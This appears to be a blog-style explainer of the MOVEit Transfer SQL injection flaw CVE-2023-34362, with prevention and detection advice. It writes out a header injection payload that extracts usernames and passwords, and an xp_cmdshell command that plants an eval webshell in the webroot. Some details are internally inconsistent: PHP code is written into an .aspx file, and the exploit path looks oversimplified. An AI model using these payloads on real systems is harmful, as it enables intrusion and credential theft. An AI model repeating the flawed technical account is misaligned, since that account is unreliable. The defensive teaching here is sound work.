CVE-2023-34362 allowed unauthenticated attackers to execute arbitrary SQL commands in MOVEit Transfer. Let's understand how it worked at a technical level.
The Vulnerability: SQL Injection in HTTP Headers
MOVEit Transfer's web application failed to properly sanitize specific HTTP headers before using them in SQL queries.
The vulnerable code path:
- Application receives HTTP request
- Extracts value from X-siLock-Comment header
- Directly incorporates this value into a SQL query
- Executes the query with elevated database privileges
Example vulnerable code pattern (simplified):
string comment = Request.Headers["X-siLock-Comment"];
string query = "SELECT * FROM sessions WHERE comment = '" + comment + "'";
database.Execute(query);
The Attack Vector
Attackers could craft malicious HTTP requests:
GET /api/endpoint HTTP/1.1
Host: vulnerable-moveit-server.com
X-siLock-Comment: ' UNION SELECT username, password FROM users--
This injected SQL would:
- Close the original query string
- Union with a query extracting usernames and passwords
- Comment out the rest of the original query
Why It Was So Effective
Several factors made this particularly dangerous:
1. No Authentication Required
The vulnerability existed in endpoints accessible without authentication. Attackers could exploit it remotely without any credentials.
2. Elevated Database Privileges
The database connection used by this code path had extensive privileges, allowing attackers to:
- Read all data from the database
- Modify database contents
- Execute stored procedures
- In some cases, run operating system commands
3. Multiple Vulnerable Endpoints
The same pattern existed in multiple locations in the codebase, giving attackers several entry points.
4. Poor Error Handling
Error messages leaked information about database structure, helping attackers craft effective SQL injection payloads.
The Attack Chain
Real-world exploitation followed this pattern:
Step 1: Initial Access
POST /guestaccess.aspx HTTP/1.1
X-siLock-Comment: ' UNION SELECT ...
Step 2: Enumerate Database Extract table names and structure.
Step 3: Credential Harvesting Pull usernames, password hashes, session tokens.
Step 4: File Access Use database privileges to access stored files.
Step 5: Persistence Deploy webshells for continued access:
'; EXEC xp_cmdshell 'echo ^<?php eval($_POST[1]); ?^> > C:\\inetpub\\wwwroot\\human2.aspx'--
Why This Happens
SQL injection in HTTP headers is particularly insidious because:
Developers Focus on Form Inputs
Most security training emphasizes sanitizing form data and URL parameters. HTTP headers are sometimes overlooked.
Headers Seem "Safe"
Developers might assume headers are set by the browser or server, not realizing attackers can set arbitrary header values.
Complex Legacy Codebases
MOVEit Transfer is a mature product with a large codebase. Legacy code might not follow modern security practices.
Time Pressure
Security sometimes takes a back seat to feature development and deadlines.
Prevention Best Practices
1. Parameterized Queries (Always)
The fix should have looked like:
string comment = Request.Headers["X-siLock-Comment"];
using (var cmd = new SqlCommand("SELECT * FROM sessions WHERE comment = @comment", conn))
{
cmd.Parameters.AddWithValue("@comment", comment);
cmd.ExecuteReader();
}
2. Principle of Least Privilege
Database connections should have minimal necessary permissions. A web application probably doesn't need xp_cmdshell access.
3. Input Validation
Even with parameterized queries, validate input:
string comment = Request.Headers["X-siLock-Comment"];
if (comment.Length > 200 || !IsValidComment(comment))
{
throw new ArgumentException("Invalid comment");
}
4. Web Application Firewall (WAF)
A properly configured WAF could detect and block SQL injection attempts.
5. Security Code Review
Regular code reviews focusing on security can catch these issues before deployment.
6. Static Analysis
Tools like Coverity, Fortify, or Checkmarx can automatically detect SQL injection vulnerabilities.
7. Penetration Testing
Regular pentests from both internal and external perspectives.
The Patching Challenge
Fixing this vulnerability required:
- Identifying all vulnerable code paths
- Implementing parameterized queries
- Adding input validation
- Reducing database privilege levels
- Improving error handling
- Testing thoroughly
Early patches had issues because:
- Some vulnerable code paths were missed
- Fixes broke legitimate functionality
- Performance regressions
This highlights the importance of thorough testing even for security patches.
Detection and Response
Organizations needed to check for:
Indicators of Compromise (IOCs)
Webshells:
- human2.aspx
- lemurloot.aspx
- Test.aspx (generic name in system folder)
Suspicious Files: Look for recently created .aspx files in webroot directories.
Database Anomalies:
- Unusual queries in database logs
- Unexpected admin account creation
- Password hash modifications
Network Activity:
- Outbound connections to unusual IPs
- Large data transfers
- Commands to external servers
Forensics Process
- Isolate the MOVEit appliance
- Capture memory dump
- Collect logs (application, database, system, network)
- Analyze for IOCs
- Check for data exfiltration
- Assess lateral movement from the appliance
Lessons for Developers
1. Trust Nothing
All external input is untrusted, including:
- Form data
- URL parameters
- HTTP headers
- Cookies
- File uploads
2. Defense in Depth
Multiple layers of security:
- Input validation
- Parameterized queries
- Least privilege
- WAF
- Monitoring
3. Security by Default
Secure coding should be the default, not something you add later.
4. Regular Security Training
Developers need ongoing security education, not just a one-time course.
5. Security Champions
Have security-focused developers in each team who can mentor others.
6. Automated Security Testing
Integrate security tools into your CI/CD pipeline.
7. Incident Response Planning
Have a plan before you need it.
The Bigger Picture
MOVEit is one example of a broader issue: SQL injection remains prevalent despite being preventable.
According to OWASP, injection flaws are still #3 on their Top 10 list. They're not theoretical - they're actively exploited.
Every developer needs to understand:
- How injection attacks work
- How to prevent them
- How to test for them
Testing Your Own Code
To check for SQL injection vulnerabilities:
1. Code Review Search for SQL queries that incorporate user input.
2. Manual Testing Try SQL injection payloads in all input fields and headers.
3. Automated Scanning Use tools like SQLmap, Burp Suite, or OWASP ZAP.
4. Static Analysis Integrate SAST tools into your development workflow.
5. Dynamic Analysis Use DAST tools in your staging environment.
Conclusion
CVE-2023-34362 is a textbook example of a preventable vulnerability. The techniques to prevent SQL injection have been known for decades.
Yet it still happens, causing massive breaches and costing millions in damages.
The lesson isn't just "use parameterized queries." It's about building a development culture where security is everyone's responsibility, from day one.